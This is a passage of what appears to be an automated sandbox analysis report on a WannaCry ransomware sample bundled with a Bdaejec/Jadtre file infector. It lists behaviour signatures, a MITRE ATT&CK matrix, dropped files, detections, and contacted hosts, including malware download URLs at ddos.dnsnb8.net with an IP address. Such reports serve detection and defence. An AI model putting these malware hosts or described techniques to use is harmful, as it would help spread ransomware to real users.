              Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.jfm VolumeInformation
              Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat VolumeInformation
              Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat VolumeInformation
              Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation
              Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation
              Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation
              Source: C:\Windows\SysWOW64\cscript.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeCode function: 2_2_00411718 GetSystemTimeAsFileTime,SHSetValueA,SHGetValueA,__aulldiv,__aulldiv,2_2_00411718
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_100053F0 GetUserNameW,_wcsicmp,0_2_100053F0
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeCode function: 2_2_0041139F GetVersionExA,LookupPrivilegeValueA,GetCurrentProcessId,2_2_0041139F
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
              Source: wBQInv.exe, 00000002.00000003.1276194123.0000000000E6E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Program Files\Windows Defender\MsMpEng.exe

              Stealing of Sensitive Information

              barindex
              Yara detected Bdaejec
              Source: Yara matchFile source: Process Memory Space: wBQInv.exe PID: 6768, type: MEMORYSTR

              Remote Access Functionality

              barindex
              Yara detected Bdaejec
              Source: Yara matchFile source: Process Memory Space: wBQInv.exe PID: 6768, type: MEMORYSTR

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity Information12
              Scripting              		Valid Accounts31
              Native API              		12
              Scripting              		1
              DLL Side-Loading              		2
              Obfuscated Files or Information              		OS Credential Dumping11
              System Time Discovery              		1
              Taint Shared Content              		11
              Archive Collected Data              		2
              Ingress Tool Transfer              		Exfiltration Over Other Network Medium21
              Data Encrypted for Impact
              CredentialsDomainsDefault Accounts2
              Command and Scripting Interpreter              		1
              DLL Side-Loading              		1
              Access Token Manipulation              		12
              Software Packing              		LSASS Memory1
              Account Discovery              		Remote Desktop ProtocolData from Removable Media2
              Encrypted Channel              		Exfiltration Over Bluetooth1
              Defacement
              Email AddressesDNS ServerDomain Accounts2
              Service Execution              		2
              Windows Service              		2
              Windows Service              		1
              DLL Side-Loading              		Security Account Manager4
              File and Directory Discovery              		SMB/Windows Admin SharesData from Network Shared Drive11
              Non-Standard Port              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal AccountsCron1
              Registry Run Keys / Startup Folder              		11
              Process Injection              		1
              File Deletion              		NTDS25
              System Information Discovery              		Distributed Component Object ModelInput Capture2
              Non-Application Layer Protocol              		Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud AccountsLaunchd1
              Services File Permissions Weakness              		1
              Registry Run Keys / Startup Folder              		11
              Masquerading              		LSA Secrets231
              Security Software Discovery              		SSHKeylogging12
              Application Layer Protocol              		Scheduled TransferData Encrypted for Impact
              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts1
              Services File Permissions Weakness              		121
              Virtualization/Sandbox Evasion              		Cached Domain Credentials1
              Process Discovery              		VNCGUI Input Capture1
              Proxy              		Data Transfer Size LimitsService Stop
              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
              Access Token Manipulation              		DCSync121
              Virtualization/Sandbox Evasion              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job11
              Process Injection              		Proc Filesystem1
              Application Window Discovery              		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
              Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
              Hidden Files and Directories              		/etc/passwd and /etc/shadow1
              System Owner/User Discovery              		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
              IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron1
              Services File Permissions Weakness              		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1482655 Sample: ed01ebfbc9eb5bbea545af4d01b... Startdate: 26/07/2024 Architecture: WINDOWS Score: 100 53 ddos.dnsnb8.net 2->53 57 Malicious sample detected (through community Yara rule) 2->57 59 Antivirus detection for URL or domain 2->59 61 Antivirus detection for dropped file 2->61 63 9 other signatures 2->63 8 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 2 1001 2->8         started        signatures3 process4 file5 35 C:\Users\user~1\AppData\...\30.WNCRYT (copy), COM 8->35 dropped 37 C:\Users\user\Downloads\@WanaDecryptor@.exe, PE32 8->37 dropped 39 C:\Users\user\Documents\@WanaDecryptor@.exe, PE32 8->39 dropped 41 185 other malicious files 8->41 dropped 65 Detected Wannacry Ransomware 8->65 67 Creates files in the recycle bin to hide itself 8->67 69 Drops PE files to the document folder of the user 8->69 71 7 other signatures 8->71 12 wBQInv.exe 8->12         started        17 cmd.exe 8->17         started        19 svchost.exe 8->19         started        21 26 other processes 8->21 signatures6 process7 dnsIp8 55 ddos.dnsnb8.net 44.221.84.105, 49699, 49700, 49701 AMAZON-AESUS United States 12->55 43 C:\Program Files\7-Zip\Uninstall.exe, PE32 12->43 dropped 45 C:\Program Files (x86)\AutoIt3\...\SciTE.exe, PE32 12->45 dropped 47 C:\Program Files (x86)\AutoIt3\...\MyProg.exe, MS-DOS 12->47 dropped 73 Detected unpacking (changes PE section rights) 12->73 75 Infects executable files (exe, dll, sys, html) 12->75 23 WerFault.exe 12->23         started        49 C:\Users\user\Desktop\m.vbs, ASCII 17->49 dropped 77 Command shell drops VBS files 17->77 25 conhost.exe 17->25         started        27 cscript.exe 17->27         started        79 Query firmware table information (likely to detect VMs) 19->79 51 C:\ProgramData\Microsoft\...\WERC09F.tmp.csv, data 21->51 dropped 29 conhost.exe 21->29         started        31 conhost.exe 21->31         started        33 WerFault.exe 21->33         started        file9 signatures10 process11

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe100%AviraW32/Jadtre.B
              ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe100%Joe Sandbox ML

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\@WanaDecryptor@.exe100%AviraTR/FileCoder.724645
              C:\@WanaDecryptor@.exe100%Joe Sandbox ML

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              ⊘No Antivirus matches

              URLs

              SourceDetectionScannerLabelLink
              http://ddos.dnsnb8.net:799/cj//k3.rar100%URL Reputationmalware
              https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/0%URL Reputationsafe
              https://html.spec.whatwg.org/#strip-and-collapse-whitespace0%URL Reputationsafe
              http://ddos.dnsnb8.net:799/cj//k2.rar100%URL Reputationmalware
              https://promisesaplus.com/#point-750%URL Reputationsafe
              https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a0%URL Reputationsafe
              https://bugs.webkit.org/show_bug.cgi?id=290840%URL Reputationsafe
              https://bugs.chromium.org/p/chromium/issues/detail?id=3786070%URL Reputationsafe
              https://bugzilla.mozilla.org/show_bug.cgi?id=6877870%URL Reputationsafe
              http://ddos.dnsnb8.net:799/cj//k1.rar100%URL Reputationmalware
              https://bugs.chromium.org/p/chromium/issues/detail?id=4702580%URL Reputationsafe
              https://promisesaplus.com/#point-640%URL Reputationsafe
              https://promisesaplus.com/#point-610%URL Reputationsafe
              https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=0%Avira URL Cloudsafe
              https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx0%Avira URL Cloudsafe
              https://dev.ditu.live.com/REST/v1/Imagery/Copyright/0%Avira URL Cloudsafe
              https://dev.ditu.live.com/REST/v1/Routes/0%Avira URL Cloudsafe
              http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s0%Avira URL Cloudsafe
              http://ddos.dnsnb8.net:799/cj//k3.rar-100%Avira URL Cloudmalware
              https://dev.virtualearth.net/REST/v1/Routes/Walking0%Avira URL Cloudsafe
              https://dev.ditu.live.com/mapcontrol/logging.ashx0%Avira URL Cloudsafe
              https://dev.virtualearth.net/REST/v1/Routes/Driving0%Avira URL Cloudsafe
              http://www.w3.0%Avira URL Cloudsafe
              https://drafts.csswg.org/cssom/#resolved-values0%URL Reputationsafe
              https://bugs.chromium.org/p/chromium/issues/detail?id=5893470%URL Reputationsafe
              https://bugzilla.mozilla.org/show_bug.cgi?id=6492850%URL Reputationsafe
              https://html.spec.whatwg.org/multipage/syntax.html#attributes-20%URL Reputationsafe
              https://promisesaplus.com/#point-590%URL Reputationsafe
              https://jsperf.com/getall-vs-sizzle/20%URL Reputationsafe
              https://promisesaplus.com/#point-570%URL Reputationsafe
              https://www.google.com/search?q=how0%Avira URL Cloudsafe
              https://github.com/jquery/jquery/pull/557)0%Avira URL Cloudsafe
              https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon0%Avira URL Cloudsafe
              https://dev.virtualearth.net/REST/v1/Transit/Schedules/0%Avira URL Cloudsafe
              http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how0%Avira URL Cloudsafe
              https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zipP0%Avira URL Cloudsafe
              https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/0%Avira URL Cloudsafe
              https://dev.virtualearth.net/REST/v1/Imagery/Copyright/0%Avira URL Cloudsafe
              https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx0%Avira URL Cloudsafe
              http://www.bingmapsportal.com0%Avira URL Cloudsafe
              http://schemas.micr0%URL Reputationsafe
              https://promisesaplus.com/#point-540%URL Reputationsafe
              https://developer.mozilla.org/en-US/docs/CSS/display0%URL Reputationsafe
              https://bugs.webkit.org/show_bug.cgi?id=1373370%URL Reputationsafe
              https://promisesaplus.com/#point-480%URL Reputationsafe
              https://bugzilla.mozilla.org/show_bug.cgi?id=4916680%URL Reputationsafe
              https://dev.virtualearth.net/REST/v1/Routes/0%Avira URL Cloudsafe
              https://bugs.chromium.org/p/chromium/issues/detail?id=4498570%URL Reputationsafe
              http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE0%Avira URL Cloudsafe
              http://ddos.dnsnb8.net:799/cj//k3.rar_100%Avira URL Cloudmalware
              https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=0%Avira URL Cloudsafe
              https://dev.virtualearth.net/REST/v1/Traffic/Incidents/0%Avira URL Cloudsafe
              https://dev.ditu.live.com/REST/v1/Transit/Stops/0%Avira URL Cloudsafe
              https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?0%Avira URL Cloudsafe
              https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=0%Avira URL Cloudsafe
              https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=0%Avira URL Cloudsafe
              https://github.com/eslint/eslint/issues/32290%Avira URL Cloudsafe
              https://dev.virtualearth.net/REST/v1/Locations0%Avira URL Cloudsafe
              https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/0%Avira URL Cloudsafe
              https://dev.virtualearth.net/mapcontrol/logging.ashx0%Avira URL Cloudsafe
              https://t0.ssl.ak.dynamic.tiles.virtualearth.0%Avira URL Cloudsafe
              https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=0%Avira URL Cloudsafe
              http://ddos.dnsnb8.net:799/cj//k1.rarE100%Avira URL Cloudphishing
              https://dynamic.t0%Avira URL Cloudsafe
              https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen0%Avira URL Cloudsafe
              https://dev.virtualearth.net/REST/v1/Routes/Transit0%Avira URL Cloudsafe
              http://ddos.dnsnb8.net:799/cj//k3.rarcC:100%Avira URL Cloudmalware
              https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=0%Avira URL Cloudsafe
              https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=0%Avira URL Cloudsafe
              http://ddos.dnsnb8.net:799/cj//k3.rar5100%Avira URL Cloudphishing
              https://dev.ditu.live.com/REST/v1/Locations0%Avira URL Cloudsafe
              https://html.spec.whatwg.org/multipage/infrastructure.html#strip-and-collapse-whitespace0%Avira URL Cloudsafe
              https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip0%Avira URL Cloudsafe
              https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=0%Avira URL Cloudsafe
              https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/0%Avira URL Cloudsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              ddos.dnsnb8.net
              		44.221.84.105
              		truefalse
                		unknown

                Contacted URLs

                NameMaliciousAntivirus DetectionReputation
                http://ddos.dnsnb8.net:799/cj//k3.rartrue
                • URL Reputation: malware
                		unknown
                http://ddos.dnsnb8.net:799/cj//k2.rartrue
                • URL Reputation: malware
                		unknown
                http://ddos.dnsnb8.net:799/cj//k1.rartrue
                • URL Reputation: malware
                		unknown

                URLs from Memory and Binaries

                NameSourceMaliciousAntivirus DetectionReputation
                http://ddos.dnsnb8.net:799/cj//k3.rar-wBQInv.exe, 00000002.00000002.1607845694.0000000000E77000.00000004.00000020.00020000.00000000.sdmptrue
                • Avira URL Cloud: malware
                		unknown
                https://dev.ditu.live.com/REST/v1/Routes/svchost.exe, 00000004.00000002.1431816718.000002DC08268000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1413170981.000002DC08267000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://dev.virtualearth.net/REST/v1/Routes/Drivingsvchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashxsvchost.exe, 00000004.00000003.1417660737.000002DC08241000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://dev.virtualearth.net/REST/v1/Routes/Walkingsvchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://html.spec.whatwg.org/#strip-and-collapse-whitespaceed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://promisesaplus.com/#point-75ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-aed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://bugs.webkit.org/show_bug.cgi?id=29084ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://dev.ditu.live.com/mapcontrol/logging.ashxsvchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://dev.ditu.live.com/REST/v1/Imagery/Copyright/svchost.exe, 00000004.00000002.1431627052.000002DC08263000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=svchost.exe, 00000004.00000002.1430382033.000002DC0822B000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                http://www.btcfrog.com/qr/bitcoinPNG.php?address=%sed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.2291348728.0000000000963000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1316026746.000000000090E000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1798063418.0000000000960000.00000004.00000020.00020000.00000000.sdmptrue
                • Avira URL Cloud: safe
                		unknown
                http://www.w3.svchost.exe, 00000026.00000002.3709091663.00000168A0332000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://github.com/jquery/jquery/pull/557)ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://dev.virtualearth.net/REST/v1/Transit/Schedules/svchost.exe, 00000004.00000002.1430992301.000002DC08242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1417660737.000002DC08241000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://bugs.chromium.org/p/chromium/issues/detail?id=378607ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://www.google.com/search?q=howed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.2291348728.0000000000963000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1316026746.000000000090E000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1798063418.0000000000960000.00000004.00000020.00020000.00000000.sdmptrue
                • Avira URL Cloud: safe
                		unknown
                https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anoned01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=howed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.2291348728.0000000000963000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1316026746.000000000090E000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1798063418.0000000000960000.00000004.00000020.00020000.00000000.sdmptrue
                • Avira URL Cloud: safe
                		unknown
                https://bugzilla.mozilla.org/show_bug.cgi?id=687787ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://bugs.chromium.org/p/chromium/issues/detail?id=470258ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://promisesaplus.com/#point-64ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                http://www.bingmapsportal.comsvchost.exe, 00000004.00000002.1430182760.000002DC08213000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://dev.virtualearth.net/REST/v1/Imagery/Copyright/svchost.exe, 00000004.00000003.1413656484.000002DC08262000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1416923421.000002DC0825A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431627052.000002DC08263000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1430382033.000002DC0822B000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/svchost.exe, 00000004.00000002.1431816718.000002DC08268000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1413170981.000002DC08267000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1430382033.000002DC0822B000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://promisesaplus.com/#point-61ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashxsvchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zipPed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmptrue
                • Avira URL Cloud: safe
                		unknown
                https://drafts.csswg.org/cssom/#resolved-valuesed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://bugs.chromium.org/p/chromium/issues/detail?id=589347ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://bugzilla.mozilla.org/show_bug.cgi?id=649285ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://dev.ditu.live.com/REST/v1/Transit/Stops/svchost.exe, 00000004.00000003.1410666875.000002DC08275000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1432110894.000002DC08277000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://dev.virtualearth.net/REST/v1/Routes/svchost.exe, 00000004.00000002.1431816718.000002DC08268000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1413170981.000002DC08267000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1430382033.000002DC0822B000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://dev.virtualearth.net/REST/v1/Traffic/Incidents/svchost.exe, 00000004.00000003.1413656484.000002DC08262000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431627052.000002DC08263000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1430382033.000002DC0822B000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=svchost.exe, 00000004.00000003.1417088659.000002DC08249000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DEwBQInv.exe, 00000002.00000003.1257865336.0000000000DC0000.00000004.00001000.00020000.00000000.sdmp, wBQInv.exe, 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=svchost.exe, 00000004.00000002.1430992301.000002DC08242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1417660737.000002DC08241000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1414215402.000002DC0825D000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://html.spec.whatwg.org/multipage/syntax.html#attributes-2ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                http://ddos.dnsnb8.net:799/cj//k3.rar_wBQInv.exe, 00000002.00000002.1607845694.0000000000E77000.00000004.00000020.00020000.00000000.sdmptrue
                • Avira URL Cloud: malware
                		unknown
                https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?svchost.exe, 00000004.00000003.1413656484.000002DC08262000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431627052.000002DC08263000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://promisesaplus.com/#point-59ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://jsperf.com/getall-vs-sizzle/2ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://promisesaplus.com/#point-57ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://github.com/eslint/eslint/issues/3229ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=svchost.exe, 00000004.00000002.1430458930.000002DC08237000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1417088659.000002DC08249000.00000004.00000020.00020000.00000000.sdmpfalse
